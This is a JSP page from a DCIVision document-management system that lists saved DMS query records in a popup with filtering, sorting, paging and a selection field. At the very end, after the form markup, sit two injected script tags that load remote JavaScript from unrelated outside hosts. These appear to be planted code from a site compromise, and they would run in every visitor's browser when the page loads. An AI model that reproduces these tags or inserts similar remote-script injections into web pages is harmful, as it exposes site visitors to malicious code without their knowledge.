<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<%
/*
 * @(#)ListDmsQueryRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsQueryRecord.jsp

  This is a ListDmsQueryRecord page.  It shows the query code in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      04/09/2004
    @version            $Revision: 1.14.4.19 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.io.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsQueryRecordForm" scope="request" class="com.dcivision.dms.web.MaintDmsQueryRecordForm"/>

<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "queryRecordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.query_name", "QUERY_NAME"},
                            {"dms.label.query_desc", "DESCRIPTION"},
                            {"dms.label.ispublic","IS_PUBLIC"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.query_name", "QUERY_NAME"},
                            {"dms.label.query_desc", "DESCRIPTION"},
                          };

  int     COLUMN_OFFSET = 4;
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
 // try{
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="dms/MaintDmsQueryRecord" method="POST" onsubmit="return(false);" styleClass="form-style-2">
<script language="javascript">
<!--
function updateTargetLocation(ID, queryName) {
  var hiddenField = document.maintDmsQueryRecordForm.selectedID;
  var displayField = document.maintDmsQueryRecordForm.destinationPath;
  var displayStr = displayField.value;

  hiddenField.value = ID;
  displayField.value =  queryName;

  return true;
}

function OptFileSelection(){
  if (document.maintDmsQueryRecordForm.selectedID.value==''){
    alert("<bean:message key='dms.message.choose_query'/>");
    return true;
  }
  var queryID=document.maintDmsQueryRecordForm.selectedID.value;
  window.opener.getQueryRecord(queryID);
  window.close();
  return(false);
}
-->
</script>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<div class="popupPanelTitle">
	<bean:message key="dms.label.load_query"/>
</div>

<div class="popupWrapperContainer">
<table width="100%">
	<layout:sectionHeader name="dms.label.saved_query"/>
</table>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <html:colheaderButton label="common.label.delete" onClick="return OpListDelete(maintDmsQueryRecordForm)"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(maintDmsQueryRecordForm, '${maintDmsQueryRecordForm.sortAttribute}', '${maintDmsQueryRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(maintDmsQueryRecordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="maintDmsQueryRecordForm" labelMap="<%=LABEL_MAP%>" copyColumn="false" sortAttribute="<%=maintDmsQueryRecordForm.getSortAttribute()%>" sortOrder="<%=maintDmsQueryRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsQueryRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsQueryRecord).getID()%>);">
    <td align="center" width="18">
      <% if (sessionContainer.getUserRecordID().equals(((DmsQueryRecord)dmsQueryRecord).getCreatorID())) { %>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsQueryRecord' property='ID'/>" onclick="return(false);">
      <% } else { %>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <% } %>
    </td>
    <td valign="top" align="center">
      <a href="MaintDmsQueryRecord.do?navMode=E&ID=<bean:write name='dmsQueryRecord' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
    </td>
    <td align="center" width="40">
    <a href="javascript://" onclick="return updateTargetLocation(<%=((DmsQueryRecord)dmsQueryRecord).getID()%>, '<%=TextUtility.escapeJSString(((DmsQueryRecord)dmsQueryRecord).getQueryName())%>');" ><html:img src='IconGoBlue16.gif' /></a>
    </td>

    <td align="center" width="250">
      <bean:write name='dmsQueryRecord' property='queryName'/>
    </td>
    <td>
      <bean:write name='dmsQueryRecord' property='description'/>
    </td>
    <td align="center">
     <logic:equal name='dmsQueryRecord' property='isPublic' value='Y'>
       <html:img src="IconTick.gif"   align='absmiddle'/>
     </logic:equal>
      <logic:equal name='dmsQueryRecord' property='isPublic' value='N'>
       <html:img src="IconCross.gif"   align='absmiddle'/>
     </logic:equal>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsQueryRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='dmsQueryRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="maintDmsQueryRecordForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
<br>
<table width="100%">
	<tr>
        <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.selected_query'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall" >
        <input type="hidden" name="selectedID" value=''>
        <html:text property="destinationPath" size="70" maxlength="255" value='' readonly='true'/>
        </td>
	</tr>
</table>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.confirm" onClick="return OptFileSelection()"/>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>
</html:form>
<!-- Form Section End -->
<%//catch(Exception e){}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>